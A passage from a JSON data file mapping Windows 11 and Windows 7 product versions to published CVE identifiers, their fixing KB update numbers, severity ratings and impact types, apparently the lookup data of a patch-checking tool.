Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503291\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530681\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534306\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537776\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550930\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556826\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556826\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571692\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571692\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003172\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003172\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601331\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001340\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001340\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004950\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005569\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006675\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014710\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025234\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026382\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028186\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043083\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048703\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050013\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053618\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053618\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053618\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053618\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055547\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058387\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058387\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060998\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066837\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063889\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063889\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 11 Version 22H2 for ARM64-based Systems\":[{\"cve\":\"CVE-2021-34527\",\"kb\":\"5018427\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044285\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029263\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025239\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028185\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032190\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031354\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034765\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041585\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043076\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048685\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044285\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050021\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5050021\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055528\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058405\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058405\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060999\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066793\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062552\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062552\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063875\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063875\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 11 Version 22H2 for x64-based Systems\":[{\"cve\":\"CVE-2021-34527\",\"kb\":\"5018427\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044285\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029263\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025239\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028185\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032190\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031354\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034765\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041585\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043076\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048685\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044285\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050021\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5050021\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055528\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058405\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058405\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060999\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066793\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062552\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062552\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063875\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063875\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 11 Version 23H2 for ARM64-based Systems\":[{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044285\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073455\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032190\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034765\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041585\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043076\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048685\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044285\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050021\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5050021\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055528\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058405\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058405\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060999\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066793\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062552\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062552\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063875\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063875\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 11 Version 23H2 for x64-based Systems\":[{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044285\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073455\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032190\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034765\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041585\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043076\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048685\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044285\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050021\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5050021\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053602\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055528\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058405\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058405\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060999\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066793\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062552\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062552\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063875\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063875\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 11 Version 24H2 for ARM64-based Systems\":[{\"cve\":\"CVE-2021-45985\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5074109\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041571\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043080\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048667\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044284\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055523\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058411\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058411\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060842\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066835\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062553\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063878\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063878\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 11 Version 24H2 for x64-based Systems\":[{\"cve\":\"CVE-2021-45985\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5074109\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041571\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043080\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048667\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044284\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5050009\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053598\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055523\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058411\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058411\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060842\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066835\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062553\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063878\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063878\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 11 Version 25H2 for ARM64-based Systems\":[{\"cve\":\"CVE-2023-31096\",\"kb\":\"5074109\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066835\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"}],\"Windows 11 Version 25H2 for x64-based Systems\":[{\"cve\":\"CVE-2023-31096\",\"kb\":\"5074109\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066835\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"}],\"Windows 11 version 21H2 for ARM64-based Systems\":[{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009566\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5007215\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015814\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014697\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013943\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029253\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025224\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028182\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032192\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031358\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034766\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041592\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043067\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044280\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows 11 version 21H2 for x64-based Systems\":[{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009566\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5007215\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015814\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014697\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013943\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029253\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025224\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028182\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032192\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031358\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034766\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041592\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043067\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044280\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows 7 for 32-bit Systems\":[{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of 